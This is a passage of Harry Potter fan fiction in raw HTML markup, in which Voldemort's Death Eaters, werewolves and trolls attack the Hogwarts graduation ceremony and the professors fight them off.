why\nwouldn&#8217;t he attack Hogwarts today.&nbsp; He knows that important people show up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nnot funny, Albus.&nbsp; I&#8217;m here to show that the ministry is not afraid of\ndark magic or threats.&nbsp; And personally, I still don&#8217;t believe that\nYou-Know-Who is still alive.&#8221; Dumbledore wanted to scream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cornelius,\nyou can be serious.&nbsp; Do you really think that anyone aside from Voldemort\ncould raid Azkaban successfully?&nbsp; Or are you still refusing to accept the\ntruth?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mind\nyour words, my friend, we have no proof that he was behind this.&nbsp; True,\nthe Dark Mark was conjured, but it does not mean You-Know-Who is behind\nit.&nbsp; His followers are just trying to stir up trouble.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis going to come back to bite you,&#8221; Dumbledore muttered under his breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\ntoo bad that Potter couldn&#8217;t be here to finish his schooling.&nbsp; He would\nhave made a fine graduate,&#8221; Fudge stated changing the subject.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Then\nthat is something that we both agree on, Cornelius.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After\nspending twenty annoying minutes with the Minister of Magic, Dumbledore headed\nback to his office.&nbsp; Upon entering the walkway, he saw his fellow\nprofessors waiting for him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good,\nI&#8217;m glad that you&#8217;re all here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nDumbledore, do you really believe that You-Know-Who will attack the ceremony?&#8221;\nProfessor Flitwick asked rubbing his long nose.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nmy friend, I believe he will.&nbsp; I assume that each of you has done as I\nasked,&#8221; he said looking at his colleagues.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of\ncourse, Albus, we each did our part,&#8221; Professor McGonagall answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou.&nbsp; I pray that I am wrong about this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nhappens if he does show up?&#8221; Snape asked, his eyes narrowing.&nbsp; Dumbledore\nlooked at the Potions teacher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Then\nGod help us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsee today as day when much blood shall be shed,&#8221; Professor Trelawney said\nsoftly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhope you are wrong about that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nvisions always hold some truth, Professor Dumbledore.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hagrid?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir?&#8221; the half giant stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Prepare\nthe grounds for the ceremony.&nbsp; It is time to begin.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nstudent body of Hogwarts gathered outside the main gates where rows of chairs\nmagically appeared, and the first through sixth years were seated.&nbsp; The\nfaculty took their seats in front of the students, and Dumbledore and Minister\nFudge stood up to address the crowd.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Welcome\nstudents, faculty, and journalists.&nbsp; Another year has gone by, and another\nclass has completed Hogwarts training.&nbsp; Each of them has done well, and it\nis time for them to receive their certification as full-fledged wizards and\nwitches,&#8221; Dumbledore began.&nbsp; The old man could feel the hairs on the back\nof his neck tingle.&nbsp; He could feel something, and his gaze glanced in the\ndirection of the Dark Forest.&nbsp; The trees were rustling, and a slight\nbreeze was coming from its depths.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ncongratulate each student on their fine work and look forward to each of yours\nsuccess in the future,&#8221; Fudge added. &#8220;Now, if everything is in order, we would\nlike to call up the students to receive their diplomas.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nslight shadow fell over the crowd, and everyone looked up to see black clouds\nrolling in from the direction of the Dark Forest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\nwas quick for rain clouds; I thought it was supposed to be sunny today,&#8221; one of\nthe students stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Those\nare no rain clouds,&#8221; Dumbledore said as his tone became serious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nclouds formed into a blanket until it looked like a sheet of tar was covering\nthe sky.&nbsp; It enveloped the sunlight and brought an eerie darkness over the\ncastle.&nbsp; Lightning crackled, and thunder rumbled from the heavens, but no\nrain came down.&nbsp; Several of the younger students began trembling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\ngoing on?&#8221; Ron asked as the wind picked up. &#8220;I&#8217;ve never seen a storm move in so\nfast.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis no ordinary storm!&#8221; Hermione shouted over the howling of the wind.&nbsp;\nThat was when she saw it.&nbsp; It was just for a second, but she swore that\nshe sawing figures illuminated among the trees.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron\nlook!&#8221; she shouted and pointed towards the Dark Forest.&nbsp; Her comment made\nseveral other students follow her line of sight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\ngoing on here?&#8221; Minister Fudge gasped.&nbsp; Dumbledore could only shake his\nhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\njust as I feared.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">From\nthe depths of the Dark Forest appeared a hoard of black-cloaked figures.&nbsp;\nSurrounding them was a good number of werewolves and mountain trolls.&nbsp;\nThey advanced on the crowd of students and teachers almost slithering across\nthe grass.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Minerva,\nget them inside now!&#8221; Dumbledore shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nstudents follow me!&#8221; Professor McGonagall ordered.&nbsp; They readily followed\nher back towards the castle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">However,\njust as they reached the gate, the mighty wooden doors slammed in their faces,\nand three cloaked figures stood before them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\ncannot allow to escape so easily,&#8221; one of them sneered.&nbsp; McGonagall held\nout her arms in defense of the students behind her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nfirst years were trembling and tried to stay close to upper classmen that they\nknew.&nbsp; Ron&#8217;s head kept snapping back and forth between the closed gate and\nthe approaching figures from the forest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nthe hell is going on?&#8221; he demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dear\nGod, it&#8217;s happening,&#8221; Hermione gasped, and her hands began to shake.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nhappening?&#8221; Ron inquired.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Those\nare&#8230;those are Death Eaters.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wait\na minute, you mean those are You-Know-Who&#8217;s&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Exactly.&#8221;\nRon gulped at her confirmation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Meanwhile,\nProfessor Dumbledore had moved to place himself between the students and the\nDeath Eaters.&nbsp; Minister Fudge came to his side and look on with growing\napprehension.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndon&#8217;t believe this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nthe mob of cloaked figures approached, the minions of werewolves and trolls\nmoved to surround the students and teachers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Go\nback at once!&#8221; Dumbledore ordered.&nbsp; The werewolves and trolls merely\nsnarled and continued advancing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nSprout.&#8221; At the headmaster&#8217;s direction, the Herbology teacher took out a pouch\nof seeds and flung them into the mob of beasts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Upon\nhitting the ground, the seeds erupted into enormous black vines and wrapped\nthemselves around the dark creatures.&nbsp; As they struggled, the vines merely\ntightened, choking the life out of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis that stuff?&#8221; Ron gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Instant\nDevil&#8217;s Snare,&#8221; Hermione answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndon&#8217;t get it.&nbsp; I thought trolls were too stupid to purposely attack\nanyone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\nif they&#8217;re controlled by the Imperious Curse.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\ndone, Professor,&#8221; Fudge praised.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But\nthe Devil&#8217;s Snare had only taken care of part of the problem.&nbsp; Most of the\nwolves and trolls had escaped, and they didn&#8217;t look very pleased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nFlitwick, Severus, you know what to do!&#8221; Dumbledore ordered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you doing?&#8221; Fudge demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Since\nyou wouldn&#8217;t heed my warning, Cornelius, I decided to take special measures to\nprotect the students and Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Professor\nFlitwick took out his wand and levitated several of trolls into the air.&nbsp;\nHe then slammed them into one another or used them like as flying projectiles\nand threw down on other trolls.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape,\nmeanwhile, called up several sixth and seven year Slytherins who timidly came\nforward.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Listen\nto me, all of you&#8230;&#8221; He hand them each three vials filled with a blood-red\nliquid, &#8220;&#8230;when I tell you, throw this at those wolves.&nbsp; And you better not\nmiss.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir!&#8221; they all said at the same time.&nbsp; Severus turned towards the oncoming\nwerewolves and waited until they were within about fifty feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;NOW!&#8221;\nAt his command, they flung the vials at the wolves like baseballs.&nbsp; When\nthe glass shattered, the potion created a bright red mist.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Howls\nof pain roared from the suffering werewolves.&nbsp; It had been a blinding\npotion and packed a punch a hundred times more powerful than mace.&nbsp; The\nwhining animals clawed helplessly at anything near them and ended up killing\none another.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Back\nat the gate, Professor McGonagall continued to stare down the three Death\nEaters blocking her path.&nbsp; Suddenly, seemingly out of nowhere, a giant\nthree-headed dog burst from the trees, and each of its heads latched onto one\nof the cloaked men.&nbsp; They wailed helplessly as the dog&#8217;s mighty jaws shredded\nthem in a matter of seconds.&nbsp; The students gagged at the sight until\nHagrid appeared behind the beast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright, Fluffy, that&#8217;s enough!&#8221; The dog complied and threw the three bodies out\nof its mouth and into the foliage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hagrid?&#8221;\nMcGonagall gasped in astonishment. &#8220;Thank goodness.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\ntime to talk, professor, it&#8217;d be best if we get them kids inside.&#8221; Minerva\nimmediately complied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Students,\nfollow me!&#8221; Hagrid pushed open the wooden doors, and the student body hurried\ninto the courtyard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nand Hermione stayed behind to help everyone through the doors, but they did not\nfollow the others.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you two doing?&#8221; Hagrid demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nwant to help,&#8221; Ron shouted.&nbsp; The giant man shook his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\nthis time, laddies, you&#8217;re in way over your head.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hagrid,\nwe need all the good wizards we can get,&#8221; Hermione challenged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsaid no!&#8221; But before he could force them inside, the two teenagers ducked under\nhis arms and ran outside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore\nwatched the scene, and a small smile came across his face.&nbsp; Good, that\npart was done.&nbsp; The trolls had stopped advancing and what was left of the\nwerewolves were snarling at the defiant humans.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nDumbledore, I see you&#8217;ve been expecting me,&#8221; a voice sneered.&nbsp; The sound\nof that voice made everyone within earshot freeze.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nDeath Eaters parted like the Red Sea, and one of them stepped forward.&nbsp; He\nhad a twenty-foot long snake following him.&nbsp; He lifted his hood slightly,\nand Dumbledore saw his eyes &#8211; crimson red.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nit can&#8217;t be!&#8221; Minister Fudge cringed.&nbsp; The cloaked figure laughed\nsadistically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nalways were a pathetic wheezing coward, Cornelius.&#8221; The man pushed his hood off\nto reveal a bald head and skin as white as chalk.</p>\n\n<p class="MsoNormal" 